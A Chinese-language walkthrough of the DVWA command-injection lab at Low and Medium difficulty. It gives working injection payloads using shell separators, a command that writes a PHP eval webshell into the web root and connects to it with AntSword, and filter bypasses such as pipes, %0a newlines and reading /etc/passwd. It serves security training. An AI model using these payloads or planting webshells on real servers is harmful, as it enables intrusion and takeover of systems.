Low

命令执行漏洞
什么是命令执行漏洞?
命令执行漏洞是指,攻击者能够通过应用程序,在运行该应用程序的服务器上直接执行任意的操作系统命令
简单来说,就是攻击者把你的服务器当成了他自己的终端,可以输入任何他想要的命令,比如查看文件、创建用户、下载病毒、删除数据等等
输入本地回环地址进行测试,即 127.0.0.1(注:127.0.0.1 - 这是最标准、最常用的环回地址)

可以看到这里执行了 ping 127.0.0.1 的命令

我们在终端执行 ping 命令是一样的捏

这类漏洞通常出现在Web应用程序中,当用户输入被直接传递给操作系统命令执行函数(如exec()、system()、popen()等)时,如果程序没有对输入进行严格的过滤和验证,攻击者就有可能通过注入特殊字符来执行任意命令。
这些特殊字符,即命令执行分隔符,在不同操作系统中有所不同:
-
在Windows系统中,常见的分隔符包括:
&、|、&&、|| -
在Linux系统中,除了上述字符,分号
;也常被用作命令分隔符
首先我们来测试与(&/&&)
在 ping 127.0.0.1 的后面我们使用管道符与拼接继续执行命令 whoami
127.0.0.1&whoami
可以看到除了执行 ping 命令,whoami 也被执行了,回显如下图:

再试试ipconfig

emmmm,雀食存在命令执行漏洞
试试不同的
127.0.0.1&&ipconfig

我们再来ping个假的
shuaige&&ipconfig

结果可以得出:当第一个命令执行失败(为假)
那么第二个命令(ipconfig)也不会被执行,这就是两个与的效果(&&)
我们再测试一个与
shuaige&ipconfig

可以看到,虽然第一个命令执行失败,但是第二个命令还是被执行了,这就是一个与的效果(&)
前面的语句为假则直接执行后面的,前面可真可假,后面命令都会执行
接下来我们测试或(||、|)
127.0.0.1|ipconfig
shuaige|ipconfig

可以看到
对于一个或, 无论第一个命令执行为真还是假,都是直接执行第二个命令
下面执行两个或(||)
127.0.0.1||ipconfig
shuaige||ipconfig


可以看到对于两个或:
前面为真,只执行前面的,后面命令没有执行
若前面为假, 执行后面的,第二个命令被执行
最后我们尝试写入木马后门
首先使用 dir 命令查看当前目录下的文件
这里我们使用一个或,无论前面为真还是假,都直接执行后面的命令
|dir

可以看到当前目录的位置路径,并且存在一个 index.php 即首页文件
我们尝试写入一个名为 shell.php 的一句话木马文件
这里在本地 cmd 测试是可行的,但是在靶场测试使用一个或却无法写入

因此我们换用与(&)即可
注意:在Windows系统下,尖括号 > 被用于输出重定向,因此如果直接在命令行中写入包含 > 的 PHP 代码,会被认为是输出重定向符号,从而导致语法错误。
我们需要使用 ^ 符号进行转义
127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > D:\phpstudy_pro\WWW\DVWA\vulnerabilities\exec\shell.php
webshell 后门写入成功

写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可

写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可
查看木马内容

调用shell.php

system 函数执行成功,回显存在一定乱码,但是可以看到文件名
我们使用蚁剑进行连接

测试连接成功
添加后进入
直接拿下整个网站后台

看一下简单模式的源代码

Medium
一、漏洞原理分析
Medium难度下,DVWA对命令注入漏洞进行了基础防护,通过黑名单过滤了部分敏感字符和命令连接符。经测试发现,常见的&&、;、&等连接符已被过滤,但仍存在可利用的绕过方式。核心漏洞依然是服务器未对用户输入进行严格的参数化处理,直接将输入拼接到系统命令中执行。
二、信息收集与测试
- 功能测试:在输入框中输入127.0.0.1,页面返回正常的ping命令执行结果,说明基本功能正常,输入被传递给后端系统命令。
- 初步注入测试:尝试输入127.0.0.1 && ipconfig(Windows系统)或127.0.0.1 && ifconfig(Linux系统),页面无返回或提示错误,推测&&被过滤。
- 连接符绕过测试 :
- 尝试127.0.0.1 & ipconfig:无结果,&可能被过滤。
- 尝试127.0.0.1 ; ipconfig:无结果,;可能被过滤。
- 尝试127.0.0.1 || ipconfig:当第一个命令执行失败时才执行第二个命令,此处127.0.0.1ping成功,故无结果。
- 尝试127.0.0.1 | ipconfig(管道符):页面返回了ipconfig的结果!说明|未被过滤,可用于连接命令。
三、漏洞利用步骤
- 基本命令执行:使用管道符|连接命令,输入127.0.0.1 | whoami,页面返回当前用户身份(如nt authority\system或www-data)。
- 多命令执行:由于|只能连接单个后续命令,若需执行多条命令,可将命令用&&的URL编码%26%26或其他未过滤字符分隔(需进一步测试)。例如,输入127.0.0.1 | dir %26%26 whoami(Windows),若%26%26未被过滤,可依次执行dir和whoami。
- 文件操作:输入127.0.0.1 | echo "test" > C:\test.txt(Windows)或127.0.0.1 | echo "test" > /tmp/test.txt(Linux),可在目标服务器写入文件。
- 权限提升探测:输入127.0.0.1 | net user(Windows)或127.0.0.1 | cat /etc/passwd(Linux),查看用户信息,为后续权限提升做准备。
四、防御绕过总结
Medium难度主要过滤了&&、;、&等连接符,但未过滤管道符|,可直接使用|连接命令执行。此外,还可尝试以下绕过方式:
- 命令分隔符替换:如用%0a(换行符)、%0d(回车符)等特殊字符分隔命令,输入127.0.0.1%0awhoami。
- 黑名单绕过:若部分命令被过滤(如cat),可用more、less、tail等替代,输入127.0.0.1 | more /etc/passwd。